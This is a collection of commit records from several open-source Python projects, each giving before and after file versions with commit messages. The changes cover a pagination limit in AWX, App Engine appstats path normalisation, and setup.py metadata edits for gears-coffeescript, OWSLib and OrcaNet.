# Copyright (c) 2015 Ansible, Inc. # All Rights Reserved. # Django REST Framework from rest_framework import pagination from rest_framework.utils.urls import replace_query_param class Pagination(pagination.PageNumberPagination): page_size_query_param = 'page_size' max_page_size = 200 def get_next_link(self): if not self.page.has_next(): return None url = self.request and self.request.get_full_path() or '' page_number = self.page.next_page_number() return replace_query_param(url, self.page_query_param, page_number) def get_previous_link(self): if not self.page.has_previous(): return None url = self.request and self.request.get_full_path() or '' page_number = self.page.previous_page_number() return replace_query_param(url, self.page_query_param, page_number)
Set an upper limit of 200 on the max page size
Set an upper limit of 200 on the max page size
Python
apache-2.0
snahelou/awx,wwitzel3/awx,snahelou/awx,wwitzel3/awx,snahelou/awx,snahelou/awx,wwitzel3/awx,wwitzel3/awx
# Copyright (c) 2015 Ansible, Inc. # All Rights Reserved. # Django REST Framework from rest_framework import pagination from rest_framework.utils.urls import replace_query_param class Pagination(pagination.PageNumberPagination): page_size_query_param = 'page_size' def get_next_link(self): if not self.page.has_next(): return None url = self.request and self.request.get_full_path() or '' page_number = self.page.next_page_number() return replace_query_param(url, self.page_query_param, page_number) def get_previous_link(self): if not self.page.has_previous(): return None url = self.request and self.request.get_full_path() or '' page_number = self.page.previous_page_number() return replace_query_param(url, self.page_query_param, page_number) Set an upper limit of 200 on the max page size
# Copyright (c) 2015 Ansible, Inc. # All Rights Reserved. # Django REST Framework from rest_framework import pagination from rest_framework.utils.urls import replace_query_param class Pagination(pagination.PageNumberPagination): page_size_query_param = 'page_size' max_page_size = 200 def get_next_link(self): if not self.page.has_next(): return None url = self.request and self.request.get_full_path() or '' page_number = self.page.next_page_number() return replace_query_param(url, self.page_query_param, page_number) def get_previous_link(self): if not self.page.has_previous(): return None url = self.request and self.request.get_full_path() or '' page_number = self.page.previous_page_number() return replace_query_param(url, self.page_query_param, page_number)
<commit_before># Copyright (c) 2015 Ansible, Inc. # All Rights Reserved. # Django REST Framework from rest_framework import pagination from rest_framework.utils.urls import replace_query_param class Pagination(pagination.PageNumberPagination): page_size_query_param = 'page_size' def get_next_link(self): if not self.page.has_next(): return None url = self.request and self.request.get_full_path() or '' page_number = self.page.next_page_number() return replace_query_param(url, self.page_query_param, page_number) def get_previous_link(self): if not self.page.has_previous(): return None url = self.request and self.request.get_full_path() or '' page_number = self.page.previous_page_number() return replace_query_param(url, self.page_query_param, page_number) <commit_msg>Set an upper limit of 200 on the max page size<commit_after>
# Copyright (c) 2015 Ansible, Inc. # All Rights Reserved. # Django REST Framework from rest_framework import pagination from rest_framework.utils.urls import replace_query_param class Pagination(pagination.PageNumberPagination): page_size_query_param = 'page_size' max_page_size = 200 def get_next_link(self): if not self.page.has_next(): return None url = self.request and self.request.get_full_path() or '' page_number = self.page.next_page_number() return replace_query_param(url, self.page_query_param, page_number) def get_previous_link(self): if not self.page.has_previous(): return None url = self.request and self.request.get_full_path() or '' page_number = self.page.previous_page_number() return replace_query_param(url, self.page_query_param, page_number)
# Copyright (c) 2015 Ansible, Inc. # All Rights Reserved. # Django REST Framework from rest_framework import pagination from rest_framework.utils.urls import replace_query_param class Pagination(pagination.PageNumberPagination): page_size_query_param = 'page_size' def get_next_link(self): if not self.page.has_next(): return None url = self.request and self.request.get_full_path() or '' page_number = self.page.next_page_number() return replace_query_param(url, self.page_query_param, page_number) def get_previous_link(self): if not self.page.has_previous(): return None url = self.request and self.request.get_full_path() or '' page_number = self.page.previous_page_number() return replace_query_param(url, self.page_query_param, page_number) Set an upper limit of 200 on the max page size# Copyright (c) 2015 Ansible, Inc. # All Rights Reserved. # Django REST Framework from rest_framework import pagination from rest_framework.utils.urls import replace_query_param class Pagination(pagination.PageNumberPagination): page_size_query_param = 'page_size' max_page_size = 200 def get_next_link(self): if not self.page.has_next(): return None url = self.request and self.request.get_full_path() or '' page_number = self.page.next_page_number() return replace_query_param(url, self.page_query_param, page_number) def get_previous_link(self): if not self.page.has_previous(): return None url = self.request and self.request.get_full_path() or '' page_number = self.page.previous_page_number() return replace_query_param(url, self.page_query_param, page_number)
<commit_before># Copyright (c) 2015 Ansible, Inc. # All Rights Reserved. # Django REST Framework from rest_framework import pagination from rest_framework.utils.urls import replace_query_param class Pagination(pagination.PageNumberPagination): page_size_query_param = 'page_size' def get_next_link(self): if not self.page.has_next(): return None url = self.request and self.request.get_full_path() or '' page_number = self.page.next_page_number() return replace_query_param(url, self.page_query_param, page_number) def get_previous_link(self): if not self.page.has_previous(): return None url = self.request and self.request.get_full_path() or '' page_number = self.page.previous_page_number() return replace_query_param(url, self.page_query_param, page_number) <commit_msg>Set an upper limit of 200 on the max page size<commit_after># Copyright (c) 2015 Ansible, Inc. # All Rights Reserved. # Django REST Framework from rest_framework import pagination from rest_framework.utils.urls import replace_query_param class Pagination(pagination.PageNumberPagination): page_size_query_param = 'page_size' max_page_size = 200 def get_next_link(self): if not self.page.has_next(): return None url = self.request and self.request.get_full_path() or '' page_number = self.page.next_page_number() return replace_query_param(url, self.page_query_param, page_number) def get_previous_link(self): if not self.page.has_previous(): return None url = self.request and self.request.get_full_path() or '' page_number = self.page.previous_page_number() return replace_query_param(url, self.page_query_param, page_number)
32a3ab4f677086916bdba6e7a8be41c9e62d7da0
appengine_config.py
appengine_config.py
"""Configuration.""" import logging import os import re from google.appengine.ext.appstats import recording logging.info('Loading %s from %s', __name__, __file__) # Custom webapp middleware to add Appstats. def webapp_add_wsgi_middleware(app): app = recording.appstats_wsgi_middleware(app) return app # Custom Appstats path normalization. def appstats_normalize_path(path): if path.startswith('/user/'): return '/user/X' if path.startswith('/user_popup/'): return '/user_popup/X' if path.startswith('/rss/'): i = path.find('/', 5) if i > 0: return path[:i] + '/X' return re.sub(r'\d+', 'X', path) # Declare the Django version we need. from google.appengine.dist import use_library use_library('django', '1.2') # Fail early if we can't import Django 1.x. Log identifying information. import django logging.info('django.__file__ = %r, django.VERSION = %r', django.__file__, django.VERSION) assert django.VERSION[0] >= 1, "This Django version is too old" # Custom Django configuration. # NOTE: All "main" scripts must import webapp.template before django. os.environ['DJANGO_SETTINGS_MODULE'] = 'settings' from django.conf import settings settings._target = None
"""Configuration.""" import logging import os import re from google.appengine.ext.appstats import recording logging.info('Loading %s from %s', __name__, __file__) # Custom webapp middleware to add Appstats. def webapp_add_wsgi_middleware(app): app = recording.appstats_wsgi_middleware(app) return app # Custom Appstats path normalization. def appstats_normalize_path(path): if path.startswith('/user/'): return '/user/X' if path.startswith('/user_popup/'): return '/user_popup/X' if '/diff/' in path: return '/X/diff/...' if '/diff2/' in path: return '/X/diff2/...' if '/patch/' in path: return '/X/patch/...' if path.startswith('/rss/'): i = path.find('/', 5) if i > 0: return path[:i] + '/X' return re.sub(r'\d+', 'X', path) # Declare the Django version we need. from google.appengine.dist import use_library use_library('django', '1.2') # Fail early if we can't import Django 1.x. Log identifying information. import django logging.info('django.__file__ = %r, django.VERSION = %r', django.__file__, django.VERSION) assert django.VERSION[0] >= 1, "This Django version is too old" # Custom Django configuration. # NOTE: All "main" scripts must import webapp.template before django. os.environ['DJANGO_SETTINGS_MODULE'] = 'settings' from django.conf import settings settings._target = None
Improve custom appstats path normalization.
Improve custom appstats path normalization.
Python
apache-2.0
ligthyear/quick-check,ligthyear/quick-check
"""Configuration.""" import logging import os import re from google.appengine.ext.appstats import recording logging.info('Loading %s from %s', __name__, __file__) # Custom webapp middleware to add Appstats. def webapp_add_wsgi_middleware(app): app = recording.appstats_wsgi_middleware(app) return app # Custom Appstats path normalization. def appstats_normalize_path(path): if path.startswith('/user/'): return '/user/X' if path.startswith('/user_popup/'): return '/user_popup/X' if path.startswith('/rss/'): i = path.find('/', 5) if i > 0: return path[:i] + '/X' return re.sub(r'\d+', 'X', path) # Declare the Django version we need. from google.appengine.dist import use_library use_library('django', '1.2') # Fail early if we can't import Django 1.x. Log identifying information. import django logging.info('django.__file__ = %r, django.VERSION = %r', django.__file__, django.VERSION) assert django.VERSION[0] >= 1, "This Django version is too old" # Custom Django configuration. # NOTE: All "main" scripts must import webapp.template before django. os.environ['DJANGO_SETTINGS_MODULE'] = 'settings' from django.conf import settings settings._target = None Improve custom appstats path normalization.
"""Configuration.""" import logging import os import re from google.appengine.ext.appstats import recording logging.info('Loading %s from %s', __name__, __file__) # Custom webapp middleware to add Appstats. def webapp_add_wsgi_middleware(app): app = recording.appstats_wsgi_middleware(app) return app # Custom Appstats path normalization. def appstats_normalize_path(path): if path.startswith('/user/'): return '/user/X' if path.startswith('/user_popup/'): return '/user_popup/X' if '/diff/' in path: return '/X/diff/...' if '/diff2/' in path: return '/X/diff2/...' if '/patch/' in path: return '/X/patch/...' if path.startswith('/rss/'): i = path.find('/', 5) if i > 0: return path[:i] + '/X' return re.sub(r'\d+', 'X', path) # Declare the Django version we need. from google.appengine.dist import use_library use_library('django', '1.2') # Fail early if we can't import Django 1.x. Log identifying information. import django logging.info('django.__file__ = %r, django.VERSION = %r', django.__file__, django.VERSION) assert django.VERSION[0] >= 1, "This Django version is too old" # Custom Django configuration. # NOTE: All "main" scripts must import webapp.template before django. os.environ['DJANGO_SETTINGS_MODULE'] = 'settings' from django.conf import settings settings._target = None
<commit_before>"""Configuration.""" import logging import os import re from google.appengine.ext.appstats import recording logging.info('Loading %s from %s', __name__, __file__) # Custom webapp middleware to add Appstats. def webapp_add_wsgi_middleware(app): app = recording.appstats_wsgi_middleware(app) return app # Custom Appstats path normalization. def appstats_normalize_path(path): if path.startswith('/user/'): return '/user/X' if path.startswith('/user_popup/'): return '/user_popup/X' if path.startswith('/rss/'): i = path.find('/', 5) if i > 0: return path[:i] + '/X' return re.sub(r'\d+', 'X', path) # Declare the Django version we need. from google.appengine.dist import use_library use_library('django', '1.2') # Fail early if we can't import Django 1.x. Log identifying information. import django logging.info('django.__file__ = %r, django.VERSION = %r', django.__file__, django.VERSION) assert django.VERSION[0] >= 1, "This Django version is too old" # Custom Django configuration. # NOTE: All "main" scripts must import webapp.template before django. os.environ['DJANGO_SETTINGS_MODULE'] = 'settings' from django.conf import settings settings._target = None <commit_msg>Improve custom appstats path normalization.<commit_after>
"""Configuration.""" import logging import os import re from google.appengine.ext.appstats import recording logging.info('Loading %s from %s', __name__, __file__) # Custom webapp middleware to add Appstats. def webapp_add_wsgi_middleware(app): app = recording.appstats_wsgi_middleware(app) return app # Custom Appstats path normalization. def appstats_normalize_path(path): if path.startswith('/user/'): return '/user/X' if path.startswith('/user_popup/'): return '/user_popup/X' if '/diff/' in path: return '/X/diff/...' if '/diff2/' in path: return '/X/diff2/...' if '/patch/' in path: return '/X/patch/...' if path.startswith('/rss/'): i = path.find('/', 5) if i > 0: return path[:i] + '/X' return re.sub(r'\d+', 'X', path) # Declare the Django version we need. from google.appengine.dist import use_library use_library('django', '1.2') # Fail early if we can't import Django 1.x. Log identifying information. import django logging.info('django.__file__ = %r, django.VERSION = %r', django.__file__, django.VERSION) assert django.VERSION[0] >= 1, "This Django version is too old" # Custom Django configuration. # NOTE: All "main" scripts must import webapp.template before django. os.environ['DJANGO_SETTINGS_MODULE'] = 'settings' from django.conf import settings settings._target = None
"""Configuration.""" import logging import os import re from google.appengine.ext.appstats import recording logging.info('Loading %s from %s', __name__, __file__) # Custom webapp middleware to add Appstats. def webapp_add_wsgi_middleware(app): app = recording.appstats_wsgi_middleware(app) return app # Custom Appstats path normalization. def appstats_normalize_path(path): if path.startswith('/user/'): return '/user/X' if path.startswith('/user_popup/'): return '/user_popup/X' if path.startswith('/rss/'): i = path.find('/', 5) if i > 0: return path[:i] + '/X' return re.sub(r'\d+', 'X', path) # Declare the Django version we need. from google.appengine.dist import use_library use_library('django', '1.2') # Fail early if we can't import Django 1.x. Log identifying information. import django logging.info('django.__file__ = %r, django.VERSION = %r', django.__file__, django.VERSION) assert django.VERSION[0] >= 1, "This Django version is too old" # Custom Django configuration. # NOTE: All "main" scripts must import webapp.template before django. os.environ['DJANGO_SETTINGS_MODULE'] = 'settings' from django.conf import settings settings._target = None Improve custom appstats path normalization."""Configuration.""" import logging import os import re from google.appengine.ext.appstats import recording logging.info('Loading %s from %s', __name__, __file__) # Custom webapp middleware to add Appstats. def webapp_add_wsgi_middleware(app): app = recording.appstats_wsgi_middleware(app) return app # Custom Appstats path normalization. def appstats_normalize_path(path): if path.startswith('/user/'): return '/user/X' if path.startswith('/user_popup/'): return '/user_popup/X' if '/diff/' in path: return '/X/diff/...' if '/diff2/' in path: return '/X/diff2/...' if '/patch/' in path: return '/X/patch/...' if path.startswith('/rss/'): i = path.find('/', 5) if i > 0: return path[:i] + '/X' return re.sub(r'\d+', 'X', path) # Declare the Django version we need. from google.appengine.dist import use_library use_library('django', '1.2') # Fail early if we can't import Django 1.x. Log identifying information. import django logging.info('django.__file__ = %r, django.VERSION = %r', django.__file__, django.VERSION) assert django.VERSION[0] >= 1, "This Django version is too old" # Custom Django configuration. # NOTE: All "main" scripts must import webapp.template before django. os.environ['DJANGO_SETTINGS_MODULE'] = 'settings' from django.conf import settings settings._target = None
<commit_before>"""Configuration.""" import logging import os import re from google.appengine.ext.appstats import recording logging.info('Loading %s from %s', __name__, __file__) # Custom webapp middleware to add Appstats. def webapp_add_wsgi_middleware(app): app = recording.appstats_wsgi_middleware(app) return app # Custom Appstats path normalization. def appstats_normalize_path(path): if path.startswith('/user/'): return '/user/X' if path.startswith('/user_popup/'): return '/user_popup/X' if path.startswith('/rss/'): i = path.find('/', 5) if i > 0: return path[:i] + '/X' return re.sub(r'\d+', 'X', path) # Declare the Django version we need. from google.appengine.dist import use_library use_library('django', '1.2') # Fail early if we can't import Django 1.x. Log identifying information. import django logging.info('django.__file__ = %r, django.VERSION = %r', django.__file__, django.VERSION) assert django.VERSION[0] >= 1, "This Django version is too old" # Custom Django configuration. # NOTE: All "main" scripts must import webapp.template before django. os.environ['DJANGO_SETTINGS_MODULE'] = 'settings' from django.conf import settings settings._target = None <commit_msg>Improve custom appstats path normalization.<commit_after>"""Configuration.""" import logging import os import re from google.appengine.ext.appstats import recording logging.info('Loading %s from %s', __name__, __file__) # Custom webapp middleware to add Appstats. def webapp_add_wsgi_middleware(app): app = recording.appstats_wsgi_middleware(app) return app # Custom Appstats path normalization. def appstats_normalize_path(path): if path.startswith('/user/'): return '/user/X' if path.startswith('/user_popup/'): return '/user_popup/X' if '/diff/' in path: return '/X/diff/...' if '/diff2/' in path: return '/X/diff2/...' if '/patch/' in path: return '/X/patch/...' if path.startswith('/rss/'): i = path.find('/', 5) if i > 0: return path[:i] + '/X' return re.sub(r'\d+', 'X', path) # Declare the Django version we need. from google.appengine.dist import use_library use_library('django', '1.2') # Fail early if we can't import Django 1.x. Log identifying information. import django logging.info('django.__file__ = %r, django.VERSION = %r', django.__file__, django.VERSION) assert django.VERSION[0] >= 1, "This Django version is too old" # Custom Django configuration. # NOTE: All "main" scripts must import webapp.template before django. os.environ['DJANGO_SETTINGS_MODULE'] = 'settings' from django.conf import settings settings._target = None
e5d31386cc8e37a4d2b7863865659dd3e956200f
setup.py
setup.py
import os from setuptools import setup, find_packages def read(filename): return open(os.path.join(os.path.dirname(__file__), filename)).read() setup( name='gears-coffeescript', version='0.1', url='https://github.com/gears/gears-coffeescript', license='ISC', author='Mike Yumatov', author_email='mike@yumatov.org', description='CoffeeScript compiler for Gears', long_description=read('README.rst'), packages=find_packages(), include_package_data=True, classifiers=[ 'Development Status :: 3 - Alpha', 'Intended Audience :: Developers', 'License :: OSI Approved :: ISC License (ISCL)', 'Operating System :: OS Independent', 'Programming Language :: Python', 'Programming Language :: Python :: 2.5', 'Programming Language :: Python :: 2.6', 'Programming Language :: Python :: 2.7', ], )
import os from setuptools import setup, find_packages def read(filename): return open(os.path.join(os.path.dirname(__file__), filename)).read() setup( name='gears-coffeescript', version='0.1', url='https://github.com/gears/gears-coffeescript', license='ISC', author='Mike Yumatov', author_email='mike@yumatov.org', description='CoffeeScript compiler for Gears', long_description=read('README.rst'), packages=find_packages(), include_package_data=True, classifiers=[ 'Development Status :: 3 - Alpha', 'Intended Audience :: Developers', 'License :: OSI Approved :: ISC License (ISCL)', 'Operating System :: OS Independent', 'Programming Language :: Python', 'Programming Language :: Python :: 2.6', 'Programming Language :: Python :: 2.7', 'Programming Language :: Python :: 3.2', ], )
Drop Python 2.5 support, add support for Python 3.2
Drop Python 2.5 support, add support for Python 3.2
Python
isc
gears/gears-coffeescript,gears/gears-coffeescript
import os from setuptools import setup, find_packages def read(filename): return open(os.path.join(os.path.dirname(__file__), filename)).read() setup( name='gears-coffeescript', version='0.1', url='https://github.com/gears/gears-coffeescript', license='ISC', author='Mike Yumatov', author_email='mike@yumatov.org', description='CoffeeScript compiler for Gears', long_description=read('README.rst'), packages=find_packages(), include_package_data=True, classifiers=[ 'Development Status :: 3 - Alpha', 'Intended Audience :: Developers', 'License :: OSI Approved :: ISC License (ISCL)', 'Operating System :: OS Independent', 'Programming Language :: Python', 'Programming Language :: Python :: 2.5', 'Programming Language :: Python :: 2.6', 'Programming Language :: Python :: 2.7', ], ) Drop Python 2.5 support, add support for Python 3.2
import os from setuptools import setup, find_packages def read(filename): return open(os.path.join(os.path.dirname(__file__), filename)).read() setup( name='gears-coffeescript', version='0.1', url='https://github.com/gears/gears-coffeescript', license='ISC', author='Mike Yumatov', author_email='mike@yumatov.org', description='CoffeeScript compiler for Gears', long_description=read('README.rst'), packages=find_packages(), include_package_data=True, classifiers=[ 'Development Status :: 3 - Alpha', 'Intended Audience :: Developers', 'License :: OSI Approved :: ISC License (ISCL)', 'Operating System :: OS Independent', 'Programming Language :: Python', 'Programming Language :: Python :: 2.6', 'Programming Language :: Python :: 2.7', 'Programming Language :: Python :: 3.2', ], )
<commit_before>import os from setuptools import setup, find_packages def read(filename): return open(os.path.join(os.path.dirname(__file__), filename)).read() setup( name='gears-coffeescript', version='0.1', url='https://github.com/gears/gears-coffeescript', license='ISC', author='Mike Yumatov', author_email='mike@yumatov.org', description='CoffeeScript compiler for Gears', long_description=read('README.rst'), packages=find_packages(), include_package_data=True, classifiers=[ 'Development Status :: 3 - Alpha', 'Intended Audience :: Developers', 'License :: OSI Approved :: ISC License (ISCL)', 'Operating System :: OS Independent', 'Programming Language :: Python', 'Programming Language :: Python :: 2.5', 'Programming Language :: Python :: 2.6', 'Programming Language :: Python :: 2.7', ], ) <commit_msg>Drop Python 2.5 support, add support for Python 3.2<commit_after>
import os from setuptools import setup, find_packages def read(filename): return open(os.path.join(os.path.dirname(__file__), filename)).read() setup( name='gears-coffeescript', version='0.1', url='https://github.com/gears/gears-coffeescript', license='ISC', author='Mike Yumatov', author_email='mike@yumatov.org', description='CoffeeScript compiler for Gears', long_description=read('README.rst'), packages=find_packages(), include_package_data=True, classifiers=[ 'Development Status :: 3 - Alpha', 'Intended Audience :: Developers', 'License :: OSI Approved :: ISC License (ISCL)', 'Operating System :: OS Independent', 'Programming Language :: Python', 'Programming Language :: Python :: 2.6', 'Programming Language :: Python :: 2.7', 'Programming Language :: Python :: 3.2', ], )
import os from setuptools import setup, find_packages def read(filename): return open(os.path.join(os.path.dirname(__file__), filename)).read() setup( name='gears-coffeescript', version='0.1', url='https://github.com/gears/gears-coffeescript', license='ISC', author='Mike Yumatov', author_email='mike@yumatov.org', description='CoffeeScript compiler for Gears', long_description=read('README.rst'), packages=find_packages(), include_package_data=True, classifiers=[ 'Development Status :: 3 - Alpha', 'Intended Audience :: Developers', 'License :: OSI Approved :: ISC License (ISCL)', 'Operating System :: OS Independent', 'Programming Language :: Python', 'Programming Language :: Python :: 2.5', 'Programming Language :: Python :: 2.6', 'Programming Language :: Python :: 2.7', ], ) Drop Python 2.5 support, add support for Python 3.2import os from setuptools import setup, find_packages def read(filename): return open(os.path.join(os.path.dirname(__file__), filename)).read() setup( name='gears-coffeescript', version='0.1', url='https://github.com/gears/gears-coffeescript', license='ISC', author='Mike Yumatov', author_email='mike@yumatov.org', description='CoffeeScript compiler for Gears', long_description=read('README.rst'), packages=find_packages(), include_package_data=True, classifiers=[ 'Development Status :: 3 - Alpha', 'Intended Audience :: Developers', 'License :: OSI Approved :: ISC License (ISCL)', 'Operating System :: OS Independent', 'Programming Language :: Python', 'Programming Language :: Python :: 2.6', 'Programming Language :: Python :: 2.7', 'Programming Language :: Python :: 3.2', ], )
<commit_before>import os from setuptools import setup, find_packages def read(filename): return open(os.path.join(os.path.dirname(__file__), filename)).read() setup( name='gears-coffeescript', version='0.1', url='https://github.com/gears/gears-coffeescript', license='ISC', author='Mike Yumatov', author_email='mike@yumatov.org', description='CoffeeScript compiler for Gears', long_description=read('README.rst'), packages=find_packages(), include_package_data=True, classifiers=[ 'Development Status :: 3 - Alpha', 'Intended Audience :: Developers', 'License :: OSI Approved :: ISC License (ISCL)', 'Operating System :: OS Independent', 'Programming Language :: Python', 'Programming Language :: Python :: 2.5', 'Programming Language :: Python :: 2.6', 'Programming Language :: Python :: 2.7', ], ) <commit_msg>Drop Python 2.5 support, add support for Python 3.2<commit_after>import os from setuptools import setup, find_packages def read(filename): return open(os.path.join(os.path.dirname(__file__), filename)).read() setup( name='gears-coffeescript', version='0.1', url='https://github.com/gears/gears-coffeescript', license='ISC', author='Mike Yumatov', author_email='mike@yumatov.org', description='CoffeeScript compiler for Gears', long_description=read('README.rst'), packages=find_packages(), include_package_data=True, classifiers=[ 'Development Status :: 3 - Alpha', 'Intended Audience :: Developers', 'License :: OSI Approved :: ISC License (ISCL)', 'Operating System :: OS Independent', 'Programming Language :: Python', 'Programming Language :: Python :: 2.6', 'Programming Language :: Python :: 2.7', 'Programming Language :: Python :: 3.2', ], )
905ddcef2652c53e39669d5d8e861924751fc802
setup.py
setup.py
from setuptools import setup setup(name = 'OWSLib', version = '0.1.0', description = 'OGC Web Service utility library', license = 'GPL', keywords = 'gis ogc ows wfs wms capabilities metadata', author = 'Sean Gillies', author_email = 'sgillies@frii.com', maintainer = 'Sean Gillies', maintainer_email = 'sgillies@frii.com', url = 'http://trac.gispython.org/projects/PCL/wiki/OwsLib', packages = ['owslib'], classifiers = [ 'Development Status :: 3 - Alpha', 'Intended Audience :: Developers', 'Intended Audience :: Science/Research', 'License :: OSI Approved :: GNU General Public License (GPL)', 'Operating System :: OS Independent', 'Programming Language :: Python', 'Topic :: Scientific/Engineering :: GIS', ], )
from setuptools import setup setup(name = 'OWSLib', version = '0.2.0', description = 'OGC Web Service utility library', license = 'BSD', keywords = 'gis ogc ows wfs wms capabilities metadata', author = 'Sean Gillies', author_email = 'sgillies@frii.com', maintainer = 'Sean Gillies', maintainer_email = 'sgillies@frii.com', url = 'http://trac.gispython.org/projects/PCL/wiki/OwsLib', packages = ['owslib'], classifiers = [ 'Development Status :: 3 - Alpha', 'Intended Audience :: Developers', 'Intended Audience :: Science/Research', 'License :: OSI Approved :: BSD License', 'Operating System :: OS Independent', 'Programming Language :: Python', 'Topic :: Scientific/Engineering :: GIS', ], )
Change version and license for 0.2
Change version and license for 0.2
Python
bsd-3-clause
ocefpaf/OWSLib,bird-house/OWSLib,kwilcox/OWSLib,daf/OWSLib,jaygoldfinch/OWSLib,daf/OWSLib,QuLogic/OWSLib,datagovuk/OWSLib,Jenselme/OWSLib,dblodgett-usgs/OWSLib,datagovuk/OWSLib,tomkralidis/OWSLib,b-cube/OWSLib,menegon/OWSLib,kalxas/OWSLib,mbertrand/OWSLib,robmcmullen/OWSLib,geopython/OWSLib,gfusca/OWSLib,jachym/OWSLib,daf/OWSLib,geographika/OWSLib,JuergenWeichand/OWSLib,jaygoldfinch/OWSLib,KeyproOy/OWSLib,datagovuk/OWSLib
from setuptools import setup setup(name = 'OWSLib', version = '0.1.0', description = 'OGC Web Service utility library', license = 'GPL', keywords = 'gis ogc ows wfs wms capabilities metadata', author = 'Sean Gillies', author_email = 'sgillies@frii.com', maintainer = 'Sean Gillies', maintainer_email = 'sgillies@frii.com', url = 'http://trac.gispython.org/projects/PCL/wiki/OwsLib', packages = ['owslib'], classifiers = [ 'Development Status :: 3 - Alpha', 'Intended Audience :: Developers', 'Intended Audience :: Science/Research', 'License :: OSI Approved :: GNU General Public License (GPL)', 'Operating System :: OS Independent', 'Programming Language :: Python', 'Topic :: Scientific/Engineering :: GIS', ], ) Change version and license for 0.2
from setuptools import setup setup(name = 'OWSLib', version = '0.2.0', description = 'OGC Web Service utility library', license = 'BSD', keywords = 'gis ogc ows wfs wms capabilities metadata', author = 'Sean Gillies', author_email = 'sgillies@frii.com', maintainer = 'Sean Gillies', maintainer_email = 'sgillies@frii.com', url = 'http://trac.gispython.org/projects/PCL/wiki/OwsLib', packages = ['owslib'], classifiers = [ 'Development Status :: 3 - Alpha', 'Intended Audience :: Developers', 'Intended Audience :: Science/Research', 'License :: OSI Approved :: BSD License', 'Operating System :: OS Independent', 'Programming Language :: Python', 'Topic :: Scientific/Engineering :: GIS', ], )
<commit_before> from setuptools import setup setup(name = 'OWSLib', version = '0.1.0', description = 'OGC Web Service utility library', license = 'GPL', keywords = 'gis ogc ows wfs wms capabilities metadata', author = 'Sean Gillies', author_email = 'sgillies@frii.com', maintainer = 'Sean Gillies', maintainer_email = 'sgillies@frii.com', url = 'http://trac.gispython.org/projects/PCL/wiki/OwsLib', packages = ['owslib'], classifiers = [ 'Development Status :: 3 - Alpha', 'Intended Audience :: Developers', 'Intended Audience :: Science/Research', 'License :: OSI Approved :: GNU General Public License (GPL)', 'Operating System :: OS Independent', 'Programming Language :: Python', 'Topic :: Scientific/Engineering :: GIS', ], ) <commit_msg>Change version and license for 0.2<commit_after>
from setuptools import setup setup(name = 'OWSLib', version = '0.2.0', description = 'OGC Web Service utility library', license = 'BSD', keywords = 'gis ogc ows wfs wms capabilities metadata', author = 'Sean Gillies', author_email = 'sgillies@frii.com', maintainer = 'Sean Gillies', maintainer_email = 'sgillies@frii.com', url = 'http://trac.gispython.org/projects/PCL/wiki/OwsLib', packages = ['owslib'], classifiers = [ 'Development Status :: 3 - Alpha', 'Intended Audience :: Developers', 'Intended Audience :: Science/Research', 'License :: OSI Approved :: BSD License', 'Operating System :: OS Independent', 'Programming Language :: Python', 'Topic :: Scientific/Engineering :: GIS', ], )
from setuptools import setup setup(name = 'OWSLib', version = '0.1.0', description = 'OGC Web Service utility library', license = 'GPL', keywords = 'gis ogc ows wfs wms capabilities metadata', author = 'Sean Gillies', author_email = 'sgillies@frii.com', maintainer = 'Sean Gillies', maintainer_email = 'sgillies@frii.com', url = 'http://trac.gispython.org/projects/PCL/wiki/OwsLib', packages = ['owslib'], classifiers = [ 'Development Status :: 3 - Alpha', 'Intended Audience :: Developers', 'Intended Audience :: Science/Research', 'License :: OSI Approved :: GNU General Public License (GPL)', 'Operating System :: OS Independent', 'Programming Language :: Python', 'Topic :: Scientific/Engineering :: GIS', ], ) Change version and license for 0.2 from setuptools import setup setup(name = 'OWSLib', version = '0.2.0', description = 'OGC Web Service utility library', license = 'BSD', keywords = 'gis ogc ows wfs wms capabilities metadata', author = 'Sean Gillies', author_email = 'sgillies@frii.com', maintainer = 'Sean Gillies', maintainer_email = 'sgillies@frii.com', url = 'http://trac.gispython.org/projects/PCL/wiki/OwsLib', packages = ['owslib'], classifiers = [ 'Development Status :: 3 - Alpha', 'Intended Audience :: Developers', 'Intended Audience :: Science/Research', 'License :: OSI Approved :: BSD License', 'Operating System :: OS Independent', 'Programming Language :: Python', 'Topic :: Scientific/Engineering :: GIS', ], )
<commit_before> from setuptools import setup setup(name = 'OWSLib', version = '0.1.0', description = 'OGC Web Service utility library', license = 'GPL', keywords = 'gis ogc ows wfs wms capabilities metadata', author = 'Sean Gillies', author_email = 'sgillies@frii.com', maintainer = 'Sean Gillies', maintainer_email = 'sgillies@frii.com', url = 'http://trac.gispython.org/projects/PCL/wiki/OwsLib', packages = ['owslib'], classifiers = [ 'Development Status :: 3 - Alpha', 'Intended Audience :: Developers', 'Intended Audience :: Science/Research', 'License :: OSI Approved :: GNU General Public License (GPL)', 'Operating System :: OS Independent', 'Programming Language :: Python', 'Topic :: Scientific/Engineering :: GIS', ], ) <commit_msg>Change version and license for 0.2<commit_after> from setuptools import setup setup(name = 'OWSLib', version = '0.2.0', description = 'OGC Web Service utility library', license = 'BSD', keywords = 'gis ogc ows wfs wms capabilities metadata', author = 'Sean Gillies', author_email = 'sgillies@frii.com', maintainer = 'Sean Gillies', maintainer_email = 'sgillies@frii.com', url = 'http://trac.gispython.org/projects/PCL/wiki/OwsLib', packages = ['owslib'], classifiers = [ 'Development Status :: 3 - Alpha', 'Intended Audience :: Developers', 'Intended Audience :: Science/Research', 'License :: OSI Approved :: BSD License', 'Operating System :: OS Independent', 'Programming Language :: Python', 'Topic :: Scientific/Engineering :: GIS', ], )
e76687949dd8b14a6e4f4f6168cfcbe49c763b5d
setup.py
setup.py
#!/usr/bin/env python from setuptools import setup, find_packages with open('requirements.txt') as fobj: requirements = [l.strip() for l in fobj.readlines()] setup( name='cnns', version='1.0', description='Runs CNNs', url='https://git.km3net.de/mmoser/OrcaNet', author='Michael Moser', author_email='mmoser@km3net.de', license='AGPL', install_requires=requirements, packages=find_packages(), include_package_data=True, )
#!/usr/bin/env python from setuptools import setup, find_packages with open('requirements.txt') as fobj: requirements = [l.strip() for l in fobj.readlines()] setup( name='cnns', version='1.0', description='Runs Neural Networks for usage in the KM3NeT project', url='https://git.km3net.de/mmoser/OrcaNet', author='Michael Moser', author_email='mmoser@km3net.de, michael.m.moser@fau.de', license='AGPL', install_requires=requirements, packages=find_packages(), include_package_data=True, )
Change description and add second mail address.
Change description and add second mail address.
Python
agpl-3.0
ViaFerrata/DL_pipeline_TauAppearance,ViaFerrata/DL_pipeline_TauAppearance
